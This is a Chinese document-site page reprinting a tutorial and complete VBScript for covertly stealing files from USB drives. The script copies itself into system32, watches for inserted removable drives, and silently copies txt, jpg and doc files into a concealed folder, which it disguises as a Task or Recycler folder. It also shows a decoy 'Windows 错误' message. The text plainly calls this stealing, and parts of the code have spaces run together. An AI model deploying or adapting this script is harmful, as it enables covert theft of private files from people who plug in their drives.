自动复制U盘文件的VBS脚本

2022-07-11 22:13:21 第一文档网 [ 字体：小中大 ] [

阅读： ] [

说明：文章内容仅供预览，部分内容可能不全。下载后的文档，内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的，是否完整无缺。下载word有问题请添加QQ：admin处理，感谢您的支持与谅解。

【#第一文档网# 导语】以下是®第一文档网的小编为您整理的《自动复制U盘文件的VBS脚本》，欢迎阅读！
脚本,复制,自动,文件,VBS

自动复制U盘文件的VBS脚本

运行该脚本后，文件会先拷贝到system32目录中然后运行，监控移动存储设备的插入，如果有U盘插入，会将你感兴趣的文件拷贝到电脑相应目录中。以下为演示：一、设置

根据自己情况，修改下列代码

oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加，用“|”隔开 oDistPath = "C:\\windows\\system\\" '保存路径 oFolderName = "Task" '保存文件夹名称

oType = 0 '将保存的文件夹进行伪装 1为task文件夹，2为recycler文件夹，0为不伪装 oOut = 1 '1复制完毕后退出,0复制完毕后不退出，继续循环

二、保存后运行

会出现安装成功对话框，如果不希望出现对话框，可以将“Msgbox "安装成功"”注释掉。此时脚本已经在循环监测U盘的插入

三、插入U盘

U盘插入后，就开始文件的复制。复制完成后会出现提示对话框。

如果不希望出现该对话框，可以将 “Msgbox "Windows 错误",64”注释掉

四、寻找文件

此时，文件已经在目标文件夹中。我将oType设置为1，所以该文件夹成了task文件夹，此时双击打开是看不到其中的文件的。

这种情况可以通过rar压缩包浏览，将其中的desktop.ini文件删除，文件夹就会变成普通文件夹。这时就能打开文件夹看到其中的内容。 Copy.log记录的是原文件及复制后的文件。

vbs代码：

oStr = "txt|jpg|doc" '文件类型，添加文件类型用“|”隔开 oDistPath = "C:\\windows\\system\\" '保存路径 oFolderName = "Task" '保存文件夹名称

oType = 1 '1为task文件夹，2为recycler文件夹，0为不隐藏 oOut = 1 '1复制完毕后退出,0复制完毕后不退出，继续循环 'By:白开 QQ:343229025

Set fso=CreateObject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建

If (not fso.FolderExists(oDistPath&oFolderName)) Then fso.CreateFolder(oDistPath&oFolderName)

End If

'创建记录文件

Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True) '循环监测移动存储设备插入 Do

For Each oDriverInfso.Drives

If oDriver.DriveType=1 AndoDriver<>"A:" And oDriver<>"B:" Then TreeIt(oDriver)

Msgbox "Windows 错误",64 If(oOut=1) then Exit Do End if End If Next

WScript.Sleep 15000 Loop

Mylog.Close

'隐藏文件夹

oHideFolderoDistPath,oFolderName,oType

else '如果是其它目录，先安装

fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True wshell.Runfso.GetSpecialFolder(1)&"\Baikai.vbs" Msgbox "安装成功" end if

Set fso=nothing Set wshell=nothing

'遍历目录函数

Function TreeIt(sPath)

Set oFolder = fso.GetFolder(sPath) Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files For Each oFileInoFiles

oCopyFileoFile.Path,oDistPath,oFolderName Next

For Each oSubFolderInoSubFolders TreeIt(oSubFolder.Path) Next

Set oFolder = Nothing Set oSubFolders = Nothing

End Function

'复制文件函数

Function oCopyFile(FileName,oDistPath,oFolderName) Ext = fso.GetExtensionName(FileName) If(instr(oStr,lcase(Ext))) then Randomize

tempname=Ext&int((Rnd*100000000)+1)&"."&Ext

fso.CopyFileFileName,oDistPath&oFolderName&"\\"&tempname,true Mylog.writelineFileName Mylog.writelinetempname End If

End Function

'隐藏文件夹函数

Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType case 1

Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) inf.writeline("[.ShellClassInfo]")

inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}") case 2

Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) inf.writeline("[.ShellClassInfo]")

inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}") case 0 Exit sub End Select Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) SysoFolder.attributes=4 Set SysoFolder=nothing

End sub

本文来源：https://www.dywdw.cn/8cb2628f84868762caaed5d6.html